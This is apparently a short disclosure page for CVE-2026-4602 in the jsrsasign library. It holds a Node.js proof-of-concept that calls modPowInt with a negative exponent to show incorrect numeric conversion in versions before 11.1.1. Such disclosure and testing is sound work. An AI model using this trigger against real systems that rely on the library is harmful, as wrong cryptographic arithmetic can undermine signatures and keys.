CVE-2026-4602 jsrsasign数值类型转换错误漏洞

// PoC for CVE-2026-4602: Incorrect Conversion between Numeric Types in jsrsasign // This script demonstrates the vulnerability by triggering modPow with a negative exponent. const jsrsasign = require('jsrsasign'); function testNegativeExponent() { // Initialize a BigInteger const bn = new jsrsasign.BigInteger("1234567890"); // Attempt modular exponentiation with a negative exponent // In versions < 11.1.1, this may compute incorrect modular inverses try { const exponent = -1; const modulus = new jsrsasign.BigInteger("987654321"); console.log("Testing modPow with negative exponent..."); const result = bn.modPowInt(exponent, modulus); // or bn.modPow console.log("Result:", result.toString()); // If the result is incorrect or unexpected, the vulnerability is confirmed. } catch (e) { console.error("Exception thrown:", e); } } testNegativeExponent();